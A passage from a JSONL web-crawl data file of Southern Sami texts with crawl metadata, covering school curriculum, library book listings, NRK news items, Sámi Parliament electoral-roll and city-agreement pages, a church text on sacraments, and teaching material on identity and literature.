jåarhkeskuvlen learohkh jïh lohkehtæjjah jïh gaajhkesidie gïeh leah mealtan filmine","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.e-skuvla.no\/ya\/product\/demokrati\/","date":"2022-09-30T16:36:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335491.4\/warc\/CC-MAIN-20220930145518-20220930175518-00685.warc.gz","language":"sma","language_score":0.9930690527,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.993069052696228}","num_words":106,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2019\nFaage\nFormaate\ne-gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n27\nLohkh jallh gærjam goltelh tjïjhtjene gïelesne. Daennie gærjesne båatsoejaepiem vuelkebe dåereden.\nÅarjel-saemiej skuvlen lohkehtæjjah jïh learohkh prosjektesne meatan maam gåhtjoeh Atlantbib. Prosjektesne dah dovne tjaelieh jïh jarkoestieh digitaale faagegærjah mejtie learohkh jïh lohkehtæjjah gaajhkijste noerhterïjhkijste tjaaleme.\nLohkh gærjam daesnie, jallh dïedtelh E-gærjan båaloem bijjege daagka, åelkiesbielesne.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_baatsoejaepie-8-jaepieboelhkh","date":"2022-12-01T17:05:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710829.5\/warc\/CC-MAIN-20221201153700-20221201183700-00341.warc.gz","language":"sma","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000078678131104}","num_words":59,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n1979\nGiele\nISBN\n8290342004\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n35\nArkeologijes histovrijegærja saemien eatnemen bïjre.\nGærja joekehth kultuvrh buerkeste jïh mah gååvnesovveme arkeologijes beetsuvinie saemieneatnamisnie. Histovrijegærja båarasommes årromem åehpiedahta Noerhtedajvine. Gærja olkese bööti jaepien 1979 jïh dïhte don aajketje urremes dotkemem vadta. Daate heefte lea åesie gööktede voestes kapihtelistie gærjeste \"Samer før oss I\", jïh heeftine aktesne \"Fra steinalder til samisk jernalder\" lohkijh ellies guvviem åadtjoeh saemien båarasommes histovrijistie.\nLohkh gærjam Nasjonaalegærjagåetien nehtesæjrosne.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_samelands-eldste-bosetting","date":"2022-12-03T08:31:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710926.23\/warc\/CC-MAIN-20221203075717-20221203105717-00745.warc.gz","language":"sma","language_score":0.9997729659,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9997729659080505}","num_words":78,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matematihke 1-10 (MAT01‑05)\nDåaresthfaageles teemah\nAlmetjehealsoe jïh jieledehaalveme\nMatematihkesne dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme lea learoehkidie maahtoem vedtedh dåeriesmoereloetemen, statistihken jïh persovneles ekonomijen bïjre. Faagen tjïrrh learohkh edtjieh åadtjodh goerkesem evtiedidh teknologijen, statistihken jïh matematihkeles representasjovni bïjre jïh modelli bïjre mah maehtieh dejtie viehkiehtidh eensi veeljemh jieliedisnie darjodh.\nDemokratije jïh meatanårrojevoete\nMatematihkesne dïhte dåaresthfaageles teema demokratije jïh meatanårrojevoete lea learoehkidie maahtoem vedtedh gaavnoeh goerehtidh jïh analyseeredh rïektes daatijste jïh taalematerijelleste eatnamistie, seabradahkeste, barkoejieliedistie jïh aarkebiejjien jieliedistie. Learohkh aaj lierieh vuarjasjidh man reaktoe dagkerh gaavnoeh lea. Dagkeres maahtoe lea vihkele juktie maehtedh jïjtsh argumenth hammoedidh jïh meatan årrodh seabradahken digkiedimmesne. Faage edtja learoehkidie voerkes darjodh eaktoej jïh premissi bïjre dejtie matematihkeles modellide mah leah fåantojne sjidtieh dejtie sjæjsjalimmide mejtie jïjtsh jieliedisnie jïh seabradahkesne vaeltieh.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/mat01-05\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-03-31T12:51:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949642.35\/warc\/CC-MAIN-20230331113819-20230331143819-00788.warc.gz","language":"sma","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000078678131104}","num_words":122,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.205,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n1998\nFaage\nDaltese\nISBN\n50087383\nFormaate\nCD\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nViehkiebaakoe\nDataspïele noerhte-, julev-, jïh åarjelsaemiengïelesne.\nDaennie spïelesne maanah lierieh bollen jïh vaarjoej bïjre, jaepieboelhki, aski, biejjiej jïh tsåahkan bïjre, alfabeeten jïh baakoej bïjre jïh dah aaj lierieh ovmessie baakoeh mah dovne gåetesne jïh skuvlesne gååvnesieh. Daennie spïelesne edtjh jokngh tjöönghkedh, jis reaktoe darjoeh dellie akte jokngem åadtjoeh. Spïele gïeleööhpehtimmese maanagïertesne jïh smaaveskuvlesne sjeahta.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_sapmi","date":"2023-03-26T21:47:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296946535.82\/warc\/CC-MAIN-20230326204136-20230326234136-00311.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":77,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjh sjuevnedstïjjeste vuelkieh\nSjuevnedstïjje noerhtene aalkeme. Gellie almetjh daelie åarjese vuelkieh, juktie eah daarpesjh noerhtene abpe sjuevnedstïjjem årrodh.\n– Manne joekoen nahkeren sjïdtem jïh vaenie energijem åadtjoem. Negatijve sjïdtem jïh löövles aajmoem åadtjoem, Therese N. Andersen jeahta, gie Askeristie båata. Dïhte noerhtene vïjhte jaepieh orreme, jïh panihkedomtesh fïerhten jaepien åådtje gåessie sjuevnedstïjje aalka. Daan jaepien edtja åarjese vuelkedh.\nSiri Broch Johansen aaj seamma domtesh sjuevnedstïjjen bïjre åtna. – Jïs manne leam gåetesne abpe sjuevnedstïjjem, manne daelviedepresjovnem orrejaepievadtesinie åadtjoem, Johansen jeahta.\n– Mijjieh dovne tjoevkem jïh jemhkelem daarpesjibie jïs edtjebe hijven åeremebalansem utnedh, Ole-Marius Minde Johnsen jeahta, gie Mental Helsen åejvie.\nGellie daaroeh sijjen energijem dessieh, jïh Johnsen jeahta medtie 800.000 almetjh daelviedepresjovnem åadtjoeh. Jïs maahtah åarjese vuelkedh, dellie dïhte joekoen hijven råajvarimmie. Jïs ih maehtieh, dellie tjoevketerapije, aktiviteete jïh sosijaale gaskese leah hijven råajvarimmieh. Lea aaj vihkeles ålkone årrodh gåessie lea tjuavkede, Johansen jeahta.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.nrk.no\/sapmi\/almetjh-sjuevnedstijjeste-vuelkieh--1.16197007","date":"2023-04-01T02:38:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949694.55\/warc\/CC-MAIN-20230401001704-20230401031704-00228.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":140,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan biejjien minngemes åarjelsaemien radiosaadtegistie «Åarjel Faaroe» seedtin\nSuehpeden 23b. minngemes åarjelsaemien radiosaadtegistie «Åarjel Faaroe» seedtin.\n– Dïhte lij vielie emosjovnelle goh manne ussjedim. Naa luste, bene hijven domtoes minngemes saadtegem seedteme.\nNaemhtie akte programmeåejvie Åarjel Faaroesne Maja Sofie Kristina Fjellström Bourre beaivi Sápmesne jeehti.\nDïhte eajhkaldehti man håjnoes dïhte daenbiejjien sjidti.\n– Leam dejnie medtie tjïjhtje jaepieh barkeme. Dïhte akte stoerre boelhke mov jielemisnie orreme.\nDaelie NRK Sápmi akte orre programme åarjelsaemiengïelesne åtna, podkasten man nomme Hævvi. Dïhte aaj edtjien radiosne årrodh.\n– Åarjel Faaroe akte buerie jïh vijhkeles boelhke mijjen åarjelsaemien nuepine orreme, saernieredaktööre NRK Sápmesne Jan Roger Østby jeahta. Dïhte hååhkesje vielie åarjelsaemieh sæjhta orre programmen govlen:\n– Mijjieh sijhtebe vielie åarjelsaemien sisvege needtesne darjodh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.nrk.no\/sapmi\/daan-biejjien-minngemes-aarjelsaemien-radiosaadtegistie-_aarjel-faaroe_-seedtin-1.16419354","date":"2023-06-04T04:47:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649439.65\/warc\/CC-MAIN-20230604025306-20230604055306-00048.warc.gz","language":"sma","language_score":0.9999451637,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999451637268066}","num_words":114,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmie staarelatjkoejgujmie lea eadtjohke jïh ulmiestuvreldh laavenjostoem regijonaale jïh voenges åejvieladtjigujmie juktie saemien kultuvrem, gïelem jïh siebriedahkejieledem nænnoestidh jïh evtiedidh.\nLaavenjostoelatjkoej gaavhtan staaretjïeltigujmie haestemh saemiepolitihkeles aamhtesinie eah aktegsalmetjen barkojne sjïdth, men institusjonelle mieriem åådtje. Lissine latjkoeh aaj viehkiehtieh guktie saemieh dejnie sjyöhtehke staarine buerebe dïenesjefaalenassem åadtjoeh. Latjkoeh stoerre symbovle-aarvoem utnieh dejtie saemide mah daejnie staarine årroeh, dan åvteste dïhte akte ryöktesth jååhkesjimmie saemieh leah desnie..\nDaelie Saemiedigkie laavenjostoelatjkoeh åtna daej staarigujmie; Romsa (2013), Bådåddjo (2015) jïh Oslo (2016) jïh Alta (2019).\nOslon tjïeltine latjkoen nomme lea laavenjostoebæjhkoehtimmie.\nLohkh laavenjostoelatjkoe Saemiedigkien jïh Tråanten tjïelten gaskem (PDF, 1020 kB)\nLohkh laavenjostoelatjkoe Saemiedigkien jïh Altan tjïelten gaskem (PDF, 147 kB)\nLohkh laavenjostoelatjkoe Saemiedigkien jïh Romsan tjïelten gaskem (PDF, 3 MB)\nLohkh laavenjostoelatjkoeh Saemiedigkien jïh Bådåddjon tjïelten gaskem (PDF, 66 kB)\nLohkh laavenjostoebæjhkoehtimmie Saemiedigkien jïh Oslon tjïelten gaskem (PDF, 2 MB)\nLohkh gustie tjïelth jïh fylhkentjïelth mejgujmie Saemiedigkie laavenjostoelatjkoeh åtna, maehtieh dåarjoen bïjre syökedh regionaale evtiedimmieprosjektide.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sametinget.no\/politihke\/laavenjostoelatjkoeh\/staarelatjkoeh\/","date":"2023-05-29T19:59:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644907.31\/warc\/CC-MAIN-20230529173312-20230529203312-00204.warc.gz","language":"sma","language_score":0.9999910593,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999910593032837}","num_words":143,"character_repetition_ratio":0.15,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah leah gosse naan lååvkesåvva jallh gosse maalestahke juakasåvva – dellie maam akt sjïere deahpede. Bijpeleteksth rohkelassine lohkesåvva. Daaletje ektede dejtie maam Jesus ikth jeehti.\nDïhte maam laavkemisnie jïh maalestahkesne deahpede, dah deahpadieh juktie Jesus lea jeahteme dïhte edtja deahpadidh. Dïhte lea jienebe enn mojhtese. Dïhte lea saetniesvoete. Tjaetsie, vijne jïh laejpieh leah daamhtaj mealtan gosse almetjh tjåanghkenieh, mohte daesnie dejtie damtoes tjåenide åadtjoeh sjïere sisvege.\nLaavkome jïh maalestahke leah aejlies dahkoeh, dah leah sakramenth. Martin Luther dejtie juakeme mubpijste aejlies dahkojste, dan gaavhtan laavkome jïh maalestahke båetieh mejstie Jesus lea jeahteme mestie dïhte lea aalkeme.\nDah dahkoeh lea maam akt konkreete materijelle – tjaetsie, laejpie jïh vijne – mah dahkojde iktedieh luhpiehtimmide Jesusen luvhtie. Dah luhpiedimmieh ektesne jiehtieh mijjieh maehtebe Jupmelen gieriesvoetem leajhtadidh, seamma saahta mah deahpadieh. Ij Jupmele laehpelh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.svenskakyrkan.se\/sakramente-lea-aejlies-dahkoe","date":"2023-06-01T15:56:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647895.20\/warc\/CC-MAIN-20230601143134-20230601173134-00656.warc.gz","language":"sma","language_score":0.9999872446,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999872446060181}","num_words":128,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sïjsebïeljelimmie gaskeviermien baaktoe\nJuktie maehtedh jïjtjemdh sïjse tjaeledh gaskeviermien baaktoe tjoerh tjaangedh ID-portaaline\/MinID\nSïjsebïeljelimmie veeljemelåhkose\nGaajhkesh mah bæjhkoehtieh dah jïjtjemse utnieh goh saemie, jïh\na) saemien hïejmegïeline utnieh, jallh\nb) utnieh jallh åtneme eejhtegem, aahka aajjam jallh maadteraahka maadteraajjam saemiengïeline goh hïejmegïele, jallh\nc) leah maana aktede almetjistie mij almetjelåhkosne tjåådtje jallh tjåådtjeme maahta krïevedh satne veeljemelåhkoen sïjse tjaalasåvva.\nGaajhkh saemieh Nöörjeste mah bijjelen 18 jaepieh jallh 18 jaepieh illieh veeljemejaepien, reaktam utnieh jïjtjemse veeljemelåhkoen sïjse tjaeledh. Saemieh mah lea staateårrojh jeatjah noerhtelaantine maehtieh veeljemelåhkoen sïjse tjaeledh dastegh dah ruffien 30. b. veeljemejaepien leah tjaalasovveme almetjeregisterisnie goh årrojh Nöörjesne.\nSaemieh mah eah leah aktede noerhtelaanteste, maehtieh jïjtjemse veeljemelåhkoen sïjse tjaeledh dastegh dah leah almetjeregisterisnie tjåådtjeme goh årrojh Nöörjesne doh golme minngemes jaepieh veeljemebiejjien åvtelen.\nSïjsebïeljelimie paehperegoeren baaktoe\nVeedtjh pdf-goerem vuelielisnie, dievhtieh dam jïh seedth dam deavhteme goerem dov vuelietjaaleginie Saemiedægkan.\nSïjsebïeljelimmiegoere åarjelsaemien-nöörjen\nSlik behandler Sametinget innføringer i Sametingets valgmanntall\nDet er Sametingets administrasjon som behandler begjæringer om innføring i Sametingets valgmanntall, og det skjer i henhold til forvaltningslovens bestemmelser om enkeltvedtak.\nFor best mulig saksbehandling, så anmoder Sametinget at personer som avgir erklæring legger ved tilstrekkelige opplysninger og eventuell dokumentasjon på at kriteriene er oppfylt. Ved mangelfulle opplysninger vil Sametinget sende brev til vedkommende med anmodning om flere opplysninger.\nDu kan søke opplysninger om samisk som hjemmespråk i folkeregisteret, kirkebøker, slektsbøker eller bygdebøker. Det er også mulig å søke i digitale arkiv som finnes på internett.\nHer kan det foretas søk på Digitalarkivet\nHer kan du søke i folketellingene for årene 1865, 1875, 1900 og 1910 - Registreringssentral for historiske data\nDersom du har samiske forfedre fra andre land enn Norge, kan du ta kontakt med de respektive landenes statsarkiv.\nSametinget kontrollerer opplysningene, og dersom begjæringen blir godkjent vil du få brev om det. Sametinget beregner for tiden en saksbehandlingstid på omtrent tre måneder.\nFrist for innføring\nHvis du skal stemme ved sametingsvalg så er fristen for innmelding 30. juni valgåret. Dette er en i hende-frist, og derfor må du sende innmeldingen i god tid.\nSistiebïeljelimmie Saemiedigkien veeljemelåhkoste\nUtmelding av Sametingets valgmanntall\nKlage på avslag\nDersom du har fått avslag på din begjæring om innføring i Sametingets valgmanntall, så har du adgang til å klage på avslaget. Klage sendes skriftlig innen 3 uker til email@example.com eller pr. post til:\nSámediggi - Sametinget\nPostboks 3\n9735 Kárášjohka\nVeiledning\nDersom du har spørsmål eller har behov for veiledning, ta kontakt med Sametinget på tlf. 78 47 40 00.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sametinget.no\/politihke\/veeljeme\/saemiedigkien-veeljemelahkoe\/sijsebieljelimmie-veeljemelahkose\/?sprak=14","date":"2023-06-06T19:37:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653071.58\/warc\/CC-MAIN-20230606182640-20230606212640-00063.warc.gz","language":"sma","language_score":0.9064818025,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9064818024635315, \"nob_Latn_score\": 0.07133135944604874, \"sme_Latn_score\": 0.019225040450692177}","num_words":389,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.031,"flagged_words_ratio":0.0,"lang_id_score":0.911,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gie datne? Guktie datne dov sosijaale identieetem hammodh jïh guktie siebriedahke datnem tsavtsa?\nSosijaale identiteete\nDatne leah «datne», jïh seamma aejkien datne leah almetje mubpiej almetjigujmie. Ovmessie jïjtse-voeth jïh vuekieh almetjen identiteetem hammoedieh jïh vuesiehtieh. Dov identiteete aaj mehtie fuelhkeste jïh slïekteste, mij datnem ektede jïh veadta mubpide almetjidie, saemien siebriedahkesne mubpide saemide. Almetjen sosijaale identiteete lea dïhte mij nænnoste gie datne byjreskisnie jïh siebriedahkesne, mestie dov fuelhkie jielieminie jïh mejnie gïehteleminie. Saemien siebriedahkesne, saemien gïele jïh kultuvre leah vihkeles jïjtje-domtesasse jïh jïjtje-goerkesasse, dovne persovneles jïh sosijaale identiteetese. Jïh guktie mubpieh almetjh datnem vuejnieh jïh guarkah, aaj tsavtsasåvva mestie datne jïjtjemdh vuajnah jïh guarkah.\nDov identiteete aaj maam datne maahtah jïh daajrah jïh guktie datne ussjedh. Almetjh, mah gööktene jallh jieniebinie kultuvrine jïh siebriedahkine veasoeminie, dah leah guektien- jallh gellien-kulturelle almetjh. Gellien aejkien dah jeatjahlaakan veasoeh jïh ussjedieh goh dah mah ajve aktene siebriedahkesne veasoeminie. Dellie aaj joekehtsh almetji gaskemsh guktie dom daam vuartasjieh, goh dah mah jienebelåhkoen almetji siebriedahkesne veasoeminie almetjigujmie mah seamma kultuvresne. Nimhtie maahta domtedh goh «mijjieh» jïh «dah», mijjieh saemieh mah vaenieh jïh dah mubpieh mah jïjnjh. Jienebe-låhkoen almetjh jillebe staatusem aaj utnieh stoere siebriedahkesne. Jïh jienebe-låhkoen almetji kultuvrh unnebe-låhkoen almetji kultuvride tsevtsieh. Nimhtie lea abpe veartanisnie, jïh iktegisth nimhtie orreme.\nStoere daaroen siebriedahkesne eah almetjh dan jïjnjem saemiej bïjre daejrieh. Skuvline eah learohkh åadtjoeh man jïjnjem saemiej bïjre lïeredh. Eah saemien maanah jïh noerh åadtjoeh gænnah dan jïjnjem jïjtse histovrijen jïh siebriedahken bïjre lïeredh skuvlesne. Gellie learohkh saemien gïele-faagem ajve åadtjoeh lohkedh maadth-skuvlesne jïh jåarhke-skuvlesne. Jïlle-skuvline jallh universiteetine eah åadtjoeh gænnah vielie lïeredh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:631bfb0a-43ed-4cd7-86ad-4afa1798bdac","date":"2023-09-22T09:09:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00426.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":258,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie edtjh almetjem gihtjehtidh? Daesnie såemies hijven raerieh åadtjoeh.\nDatne leah gihtjehtæmman ryöjredamme.\nÅrroeh vietseles jïh sjugnedh leajhtadimmiem\nÅrroeh vietseles\nVuesehth leajhtadimmiem\nGoltelh dïsse mij jeahtasåvva jïh gihtjh gyhtjelassh dïsse maam leah govleme\nJis tjoeje-baantedimmiem darjoeh maam edtjh nuhtjedh, geehth ollh «jaa» jallh «m-m» iktesth jeahtah.\nGihtjehtæjja tjuara dam gihtjehtimmesne måjhtelidh:\nGihtjh ajve aktem gyhtjelassem fïerhten aejkien. Baajh gihtjelgæjjam astedh ussjedidh.\nAellieh ajve gyhtjelassh gihtjh mejtie leah tjaaleme. Gihtjh gyhtjelassh dïsse maam gihtjelgæjja jeahta. Jis gihtjelgæjja jeahta satne åabpabinie klaaterde, maahtah vuesiehtimmien gaavhtan gihtjedh: «Man bïjre dåtnoeh klaaterdidien?»\nMujhtieh tjaeledh dam mij maahta datnem viehkiehtidh portrehtegihtjehtimmiem tjaeledh. Dovne dïhte mij gihtjelgæjjam itjmies jïh eadtjohke dorje.\nVihkielommes datne meatan åadtjoeh gaajhkem maam gihtjelgæjja jeahta. Nuhtjh tjoejebaantedimmie-funksjovnem dov mobijle-tellefovnesne.\nDïhte mij gihtjelgåvva, maahta naemhtie ussjedidh:\nVaestedh dïsse man bïjre gihtjehtæjja gihtjie ellies raajesigujmie. Årroeh persovneles jïh eadtjohke. Soptsesth dan bïjre maam hijven lyjhkh! Bovtsh eahtsah? Soptsesth man åvteste.\nMen mujhtieh gaajhkesh klaassesne edtjieh portrehtem datneste lohkedh. Aellieh maam joem soptsesth maam sïjhth tjeakoes hööltedh. Datne edtjh portrehtem lohkedh åvtelen gihtjehtæjja dam bæjhkohte. Jis fer jïjnjem soptsestamme, maahtah dam jarkelidh dellie.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/resource:6f8a2e5a-1596-4956-ae74-6297bca68cae","date":"2023-09-27T15:10:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510300.41\/warc\/CC-MAIN-20230927135227-20230927165227-00313.warc.gz","language":"sma","language_score":0.9999871254,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999871253967285}","num_words":178,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dovne tjiehpieslidteratuvren-tjaalegh jïh aamhtese-tjaalegh maehtieh persovneles årrodh. «Manne» aktene aamhtese-tjaalegisnie lea iktegisth akte rïektes almetje, dïhte guhte tjaalegem tjaaleme.\nTjaeleme-råålla\nGosse reakedsbiejjie-heelsegh tjaelebe dellie tjoerebe persovneles årrodh. Gosse mijjieh artihkelem jïh referaatem tjaelebe dellie tjoerebe ov-persovneles aamhtese-gïelem nuhtjedh. Sjangere soptseste guktie tjaelije tjuara tjaeledh, jis tjaelije maahta våajnoes årrodh tjaalegisnie. Gosse edtjebe håalodh jallh tjaeledh dellie sjangere tjaeleme-råållam jïh soptsestimmie-vuekieh tjaeliejasse vadta.\n«Manne» aamhtese-tjaaleginie jïh tjiehpieslidteratuvren-tjaaleginie\nGosse tjaelije baakoem «manne» aamhtese-tjaalegisnie tjaala, dellie daejrebe tjaelije jïjtje soptseste. Ij leah naemhtie tjiehpieslidteratuvren-tjaalegisnie. Akte tjiehpies-lidteratuvre tjaelije aktem orre veartenem skaepede, gusnie ij jïjtje jielieh. Dïhte soptsesem hæhtede. Jis akte «manne» fiksjovne-tjaalegisnie dellie daejrebe ij leah tjaelije, men akte gaagkoe tjaalegisnie mij soptseste. Gosse fiksjovnem tjaelebe dellie maehtebe fantasijem nuhtjedh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:2:19c69125-a123-45f6-bdea-f8d4299bb2e1\/resource:1:160183","date":"2023-09-21T11:48:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506027.39\/warc\/CC-MAIN-20230921105806-20230921135806-00531.warc.gz","language":"sma","language_score":0.9999802113,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999802112579346}","num_words":117,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lidteratuvre jïjnjem soptseste soptsestæjjan siebriedahken, kultuvren jïh identiteeten bïjre. Mah åssjelh, mïelh jïh aajkoeh soptsestæjjan jïh mannasinie soptseste dam maam soptseste. Mej aamhtesi bïjre soptseste, jïh mennie gïelesne, nænnoste mah dåastojh sæjhta jaksedh.\nNjaalmeldh jïh tjaaleldh lidteratuvre\nSaemien lidteratuvre dovne njaalmeldh jïh tjaaleldh. Åvtesne gaajhkh saemien soptsesh lin njaalmeldh. Muvhth soptsesh tjaalasovvin juktie maehtebe dejtie gærjine lohkedh daan biejjien. Men læjhkan soptsestimmievuekie gellien aejkien njaalmeldh. Mijjieh maehtebe saemien lidteratuvrem ovmessie sjangeri mietie juekedh, goh soptsesh, heamturh, vaajesh, dïejvesh, joejkeme-teksth, laavlomh jïh tjihtesh\/dikth.\nLidteratuvre jïh siebriedahke\nLidteratuvre jïjnjem soptseste soptsestæjjan siebriedahken, kultuvren jïh identiteeten bïjre. Saemien lidteratuvresne tjaelijen persovneles jïh sosijaale identiteete gellielaaketje vuekiej mietie vååjnesasse båata. Mah åssjelh, mïelh jïh aajkoeh soptsestæjjan jïh mannasinie soptseste dam maam soptseste. Vååjnesasse aaj båata gïese soptseste, mah goltelæjjide jallh lohkijidie sæjhta soptsesinie jaksedh jïh guktie dejtie sæjhta tsevtsedh.\nMennie gïelesne soptsestæjja soptseste jallh tjaala aaj nænnoste mah dåastojh sæjhta jaksedh. Jis edtja åarjel-saemide jaksedh, dellie maahta åarjel-saemien soptsestidh. Jis sæjhta jeatjah almetjh jaksedh mah stoere siebriedahkesne, dellie daaroen tjuara soptsestidh. Læjhkan nimhtie daan biejjien, eah gaajhkh saemieh dan hijvenlaakan saemien-gïelem maehtieh juktie buektiehtieh gaajhki aamhtesi bïjre saemiestidh. Læjhkan saemien siebriedahkesne veasoeminie jïh dah leah saemien kultuvrese jïh identiteetese veadtaldihkie.\nMijjieh lidteratuvrh joekehtslaakan guarkebe, dan åvteste mijjien joekehts daajroeh, vuekieh jïh vuajnoeh. Almetjh joekehtslaakan utnieh mij tjaebpies jïh vesties, mij luste jïh ij man luste. Joekehtslaakan aaj utnieh mij saatnan jïh mij ij 